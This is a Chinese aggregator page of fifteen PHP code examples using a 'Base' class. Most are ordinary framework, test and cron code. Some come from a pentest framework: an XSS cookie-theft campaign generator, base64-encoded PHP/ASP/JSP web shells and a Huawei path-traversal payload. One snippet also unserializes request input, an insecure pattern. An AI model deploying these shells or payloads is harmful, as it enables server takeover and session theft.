當前位置: 首頁>>代碼示例>>PHP>>正文


PHP Base類代碼示例

本文整理匯總了PHP中Base的典型用法代碼示例。如果您正苦於以下問題:PHP Base類的具體用法?PHP Base怎麽用?PHP Base使用的例子?那麽, 這裏精選的類代碼示例或許可以為您提供幫助。


在下文中一共展示了Base類的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的PHP代碼示例。

示例1: callback

 /**
  * auth service callback
  * @param Base $f3
  * @param $params
  */
 function callback(\Base $f3, $params)
 {
     $Opauth = new \Opauth($this->config, false);
     switch ($Opauth->env['callback_transport']) {
         case 'session':
             $response = $f3->get('SESSION.opauth');
             $f3->clear('SESSION.opauth');
             break;
         case 'post':
             $response = unserialize(base64_decode($f3->get('POST.opauth')));
             break;
         case 'get':
             $response = unserialize(base64_decode($f3->get('GET.opauth')));
             break;
         default:
             $f3->error(400, 'Unsupported callback_transport');
             break;
     }
     if (isset($response['error'])) {
         $f3->call($this->abortFunc, array($response));
         return;
     }
     $data = $response['auth'];
     // validate
     if (empty($data) || empty($response['timestamp']) || empty($response['signature']) || empty($data['provider']) || empty($data['uid'])) {
         $f3->error(400, 'Invalid auth response: Missing key auth response components');
     } elseif (!$Opauth->validate(sha1(print_r($data, true)), $response['timestamp'], $response['signature'], $reason)) {
         $f3->error(400, 'Invalid auth response: ' . $reason);
     } else {
         // It's all good
         $f3->call($this->successFunc, array($data));
     }
 }
開發者ID:ikkez,項目名稱:f3-opauth,代碼行數:38,代碼來源:OpauthBridge.php

示例2: testCustomBase

 /**
  * @dataProvider providerForCustomBase
  */
 public function testCustomBase($base, $custom, $input)
 {
     $object = new Base($base, $custom);
     $this->assertTrue($object->__invoke($input));
     $this->assertTrue($object->check($input));
     $this->assertTrue($object->assert($input));
 }
開發者ID:nowsolutions,項目名稱:Validation,代碼行數:10,代碼來源:BaseTest.php

示例3: testGetFiles

 public function testGetFiles()
 {
     $directory = $this->getMock('Magento\\Framework\\Filesystem\\Directory\\Read', [], [], '', false);
     $filesystem = $this->getMock('Magento\\Framework\\App\\Filesystem', ['getDirectoryRead'], [], '', false);
     $filesystem->expects($this->once())->method('getDirectoryRead')->with(\Magento\Framework\App\Filesystem::MODULES_DIR)->will($this->returnValue($directory));
     $globalFiles = ['Namespace/One/view/base/layout/one.xml', 'Namespace/Two/view/base/layout/two.xml'];
     $areaFiles = ['Namespace/Two/view/frontend/layout/four.txt', 'Namespace/Two/view/frontend/layout/three.xml'];
     $directory->expects($this->at(0))->method('search')->with('*/*/view/base/layout/*.xml')->will($this->returnValue($globalFiles));
     $directory->expects($this->at(3))->method('search')->with('*/*/view/frontend/layout/*.xml')->will($this->returnValue($areaFiles));
     $directory->expects($this->atLeastOnce())->method('getAbsolutePath')->will($this->returnArgument(0));
     $objectManager = $this->getMockForAbstractClass('Magento\\Framework\\ObjectManager');
     $objectManager->expects($this->atLeastOnce())->method('create')->with('Magento\\Framework\\View\\File', $this->anything())->will($this->returnCallback(array($this, 'createFileCallback')));
     $fileFactory = new \Magento\Framework\View\File\Factory($objectManager);
     $theme = $this->getMockForAbstractClass('Magento\\Framework\\View\\Design\\ThemeInterface');
     $theme->expects($this->once())->method('getArea')->will($this->returnValue('frontend'));
     $model = new Base($filesystem, $fileFactory, 'layout');
     $result = $model->getFiles($theme, '*.xml');
     for ($i = 0; $i <= 2; $i++) {
         $this->assertArrayHasKey($i, $result);
         $this->assertInstanceOf('\\Magento\\Framework\\View\\File', $result[$i]);
     }
     $this->assertEquals($globalFiles[0], $result[0]->getFilename());
     $this->assertEquals($globalFiles[1], $result[1]->getFilename());
     $this->assertEquals($areaFiles[1], $result[2]->getFilename());
 }
開發者ID:Atlis,項目名稱:docker-magento2,代碼行數:25,代碼來源:BaseTest.php

示例4: create_campaign

 /**
  * @param \Base $f3
  * Description This function will be used to create the necessary script needed to hook a page.
  */
 function create_campaign(\Base $f3)
 {
     $web = \Web::instance();
     $this->response->data['SUBPART'] = 'xssrc_campaign.html';
     if ($f3->get('VERB') == 'POST') {
         $error = false;
         if ($f3->devoid('POST.targetUrl')) {
             $error = true;
             \Flash::instance()->addMessage('Please enter a Target url to test access once you steal cookies e.g. http://victim.mth3l3m3nt.com/admin', 'warning');
         } else {
             $target_url = $f3->get('POST.targetUrl');
             $c_host = parse_url($target_url, PHP_URL_HOST);
             $template_src = $f3->ROOT . $f3->BASE . '/scripts/attack_temp.mth3l3m3nt';
             $campaign_file = $f3->ROOT . $f3->BASE . '/scripts/' . $c_host . '.js';
             $campaign_address = $f3->SCHEME . "://" . $f3->HOST . $f3->BASE . '/scripts/' . $c_host . '.js';
             $postHome = $f3->SCHEME . "://" . $f3->HOST . $f3->BASE . '/xssr';
             copy($template_src, $campaign_file);
             $unprepped_contents = file_get_contents($campaign_file);
             $unprepped_contents = str_replace("http://attacker.mth3l3m3nt.com/xssr", $postHome, $unprepped_contents);
             $unprepped_contents = str_replace("http://victim.mth3l3m3nt.com/admin/", $target_url, $unprepped_contents);
             file_put_contents($campaign_file, $unprepped_contents);
             $instructions = \Flash::instance()->addMessage('Attach the script to target e.g. <script src="' . $campaign_address . '"></script>', 'success');
             $this->response->data['content'] = $instructions;
         }
     }
 }
開發者ID:alienwithin,項目名稱:OWASP-mth3l3m3nt-framework,代碼行數:30,代碼來源:xssrc.php

示例5: deleteExpiredData

 /**
  * clear expired cached files
  * >> >php index.php "/cron/deleteExpiredCacheData"
  * @param \Base $f3
  */
 function deleteExpiredData(\Base $f3)
 {
     $time_start = microtime(true);
     // cache dir (dir is recursively searched...)
     $cacheDir = $f3->get('TEMP');
     $filterTime = (int) strtotime('-' . $f3->get('PATHFINDER.CACHE.EXPIRE_MAX') . ' seconds');
     $expiredFiles = Search::getFilesByMTime($cacheDir, $filterTime);
     $deletedFiles = 0;
     $deletedSize = 0;
     $notWritableFiles = 0;
     $deleteErrors = 0;
     foreach ($expiredFiles as $filename => $file) {
         /**
          * @var $file \SplFileInfo
          */
         if ($file->isWritable()) {
             $tmpSize = $file->getSize();
             if (unlink($file->getRealPath())) {
                 $deletedSize += $tmpSize;
                 $deletedFiles++;
             } else {
                 $deleteErrors++;
             }
         } else {
             $notWritableFiles++;
         }
     }
     $execTime = microtime(true) - $time_start;
     // Log ------------------------
     $log = new \Log('cron_' . __FUNCTION__ . '.log');
     $log->write(sprintf(self::LOG_TEXT, __FUNCTION__, $deletedFiles, $deletedSize, $notWritableFiles, $deleteErrors, $execTime));
 }
開發者ID:tysongg,項目名稱:pathfinder,代碼行數:37,代碼來源:cache.php

示例6: shellGenerator

 public function shellGenerator(\Base $f3)
 {
     $this->response->data['SUBPART'] = 'websaccre_shellgen.html';
     $pshell = "PD9waHAgDQppZiAoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpeyANCiAgICAkY21kPSgkX1JFUVVFU1RbImNtZCJdKTsgDQogICAgZWNobyBzeXN0ZW0oJGNtZCk7IA0KICAgIGRpZTsgDQp9IA0KPz4=";
     $ashell = "PCUNCklmIChyZXF1ZXN0KCJjbWQiKSA8PiAiIikgVGhlbg0KUmVzcG9uc2UuV3JpdGUgU2VydmVyLkhUTUxFbmNvZGUoc2VydmVyLmNyZWF0ZW9iamVjdCgid3NjcmlwdC5zaGVsbCIpLmV4ZWMoU2VydmVyLk1hcFBhdGgoImNtZC5leGUiKSYgIiAvYyAiICYNCg0KcmVxdWVzdCgiY21kIikpLnN0ZG91dC5yZWFkYWxsKQ0KRW5kIElmDQolPg";
     $jshell = "PCUgaWYgKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSAhPSBudWxsKSB7IG91dC5wcmludGxuKCJDb21tYW5kOiAiICsgcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpICsgIjxiciAvPiIpOyBQcm9jZXNzIHAgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7IE91dHB1dFN0cmVhbSBvcyA9IHAuZ2V0T3V0cHV0U3RyZWFtKCk7IElucHV0U3RyZWFtIGluID0gcC5nZXRJbnB1dFN0cmVhbSgpOyBEYXRhSW5wdXRTdHJlYW0gZGlzID0gbmV3IERhdGFJbnB1dFN0cmVhbShpbik7IFN0cmluZyBkaXNyID0gZGlzLnJlYWRMaW5lKCk7IHdoaWxlICggZGlzciAhPSBudWxsICkgeyBvdXQucHJpbnRsbihkaXNyKTsgZGlzciA9IGRpcy5yZWFkTGluZSgpOyB9IH0gJT4g";
     $jspx = "PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbG5zOmM9Imh0dHA6Ly9qYXZhLnN1bi5jb20vanNwL2pzdGwvY29yZSIgdmVyc2lvbj0iMi4wIj4NCjxqc3A6ZGlyZWN0aXZlLnBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbDtjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04Ii8";
     $shell_type = $f3->get('POST.shelltype');
     if ($f3->get('VERB') == 'POST') {
         $error = false;
         switch ($shell_type) {
             case "PHP":
                 $this->response->data['content'] = base64_decode($pshell);
                 break;
             case "ASP":
                 $this->response->data['content'] = base64_decode($ashell);
                 break;
             case "JSP":
                 $this->response->data['content'] = base64_decode($jshell);
                 break;
             case "JSPX":
                 $this->response->data['content'] = base64_decode($jspx);
                 break;
             default:
                 $this->response->data['content'] = "Invalid Shell Type Request";
                 break;
         }
     }
 }
開發者ID:kimkiogora,項目名稱:mth3l3m3nt-framework,代碼行數:29,代碼來源:websaccre.php

示例7: command_parse

 function command_parse()
 {
     global $DB, $Core, $Parse, $Security, $Base, $Style;
     if (!$Security->allowed()) {
         return;
     }
     $include = implode("/", module());
     if (file_exists("module/{$include}/main.php")) {
         $dir = "";
         foreach (module() as $module) {
             $dir .= "{$module}/";
             $shared = "module/{$dir}shared.php";
             if (file_exists($shared)) {
                 include $shared;
             }
         }
         require_once "module/{$include}/main.php";
         if (function_exists(command())) {
             eval(command() . "();");
         }
         if (file_exists("module/{$include}/.content/" . func() . ".php")) {
             if (!get('ajax') && !get('xml')) {
                 require_once "module/{$include}/.content/" . func() . ".php";
             }
         }
     } else {
         $Base = new Base();
         $Base->title("Invalid Module");
         $Base->Header();
         $Base->Footer();
     }
 }
開發者ID:jmichaelward,項目名稱:pgBoard,代碼行數:32,代碼來源:Core.php

示例8: action_postAnswers

 public function action_postAnswers($set)
 {
     $model = new Base();
     $setVars = $model->setVars($set);
     print_r(Input::get('answers'));
     $model->storeAnswers(Input::get('answers'));
 }
開發者ID:nickswalker,項目名稱:thecrammer,代碼行數:7,代碼來源:matching.php

示例9: year

 public static function year(\Base $fat)
 {
     $year = (int) $fat->get('PARAMS.year');
     if (!in_array($year, $fat->get('YEARS'))) {
         $year = $fat->get('YEAR');
     }
     echo self::contest($year);
 }
開發者ID:WikimediaChile,項目名稱:wikitour.cl,代碼行數:8,代碼來源:portada.php

示例10: validKey

 /**
  * Check if valid key was sent
  *
  * @returns bool
  */
 public static function validKey()
 {
     if (!isset($_GET['apikey'])) {
         return false;
     }
     $base = new Base();
     return $base->getDao()->getUserExistsByApiKey($_GET['apikey']);
 }
開發者ID:nbar1,項目名稱:gs,代碼行數:13,代碼來源:ApiHandler.php

示例11: testSetAndGetAlias

 public function testSetAndGetAlias()
 {
     $instance = new Base('');
     $instance->setAlias('foo');
     $this->assertEquals('foo', $instance->getAlias());
     $instance->setAlias('bar');
     $this->assertEquals('bar', $instance->getAlias());
 }
開發者ID:mlessnau,項目名稱:pry,代碼行數:8,代碼來源:BaseTest.php

示例12: deleteSignatures

 /**
  * delete all expired signatures on "inactive" systems
  * >> php index.php "/cron/deleteSignatures"
  * @param \Base $f3
  */
 function deleteSignatures(\Base $f3)
 {
     $signatureExpire = (int) $f3->get('PATHFINDER.CACHE.EXPIRE_SIGNATURES');
     if ($signatureExpire > 0) {
         $pfDB = DB\Database::instance()->getDB('PF');
         $sqlDeleteExpiredSignatures = "DELETE `sys` FROM\n                `system_signature` `sys` INNER JOIN\n                `system` ON \n                  `system`.`id` = `sys`.`systemId`\n              WHERE\n                `system`.`active` = 0 AND\n                TIMESTAMPDIFF(SECOND, `sys`.`updated`, NOW() ) > :lifetime\n            ";
         $pfDB->exec($sqlDeleteExpiredSignatures, ['lifetime' => $signatureExpire]);
     }
 }
開發者ID:tysongg,項目名稱:pathfinder,代碼行數:14,代碼來源:mapupdate.php

示例13: post

 /**
  * POST /post.json
  * Create a new post
  * 
  * @todo Allow posting to a buddy's page
  * @param \Base $fw
  */
 public function post(\Base $fw)
 {
     $userId = self::_requireAuth();
     if ($fw->get('POST.user_id') != $userId) {
         \App::error(403);
     }
     $post = \Model\Post::create(['user_id' => $userId, 'page_id' => $fw->get('POST.user_id'), 'content' => $fw->get('POST.content')]);
     $detail = \App::model('post/detail')->load($post->id);
     $this->_json($detail->cast());
 }
開發者ID:svlt,項目名稱:back,代碼行數:17,代碼來源:post.php

示例14: huawei_lfi

 /**
  * Huawei_lfi
  * cve-2015-7254
  * Directory traversal vulnerability on Huawei HG532e, HG532n, and HG532s devices allows remote attackers to read arbitrary files via a .. (dot dot) in an icon/ URI.
  * @param \Base $f3
  * Alternative file read: http://<target_IP>:37215/icon/../../../etc/inittab.
  */
 public function huawei_lfi(\Base $f3)
 {
     $lfi = new Larfi();
     $f3->set('exploit_title', 'HUAWEI LFI (cve-2015-7254) Huawei HG532e, HG532n, & HG532s');
     $this->response->data['SUBPART'] = 'lfi_page.html';
     $blankurl = $f3->devoid('POST.url');
     $url = $f3->get('POST.url');
     $payload = ":37215/icon/../../../etc/defaultcfg.xml";
     return $this->uri_based_lfi($blankurl, $url, $payload);
 }
開發者ID:theralfbrown,項目名稱:OWASP-mth3l3m3nt-framework,代碼行數:17,代碼來源:lfiplugins.php

示例15: RegPage_CreateCode

function RegPage_CreateCode($n)
{
    global $zbp;
    for ($i = 0; $i < 100; $i++) {
        $r = new Base($GLOBALS['RegPage_Table'], $GLOBALS['RegPage_DataInfo']);
        $r->InviteCode = GetGuid();
        $r->Level = $zbp->Config('RegPage')->default_level;
        $r->Save();
    }
}
開發者ID:zblogcn,項目名稱:zblogphp,代碼行數:10,代碼來源:include.php


注:本文中的Base類示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。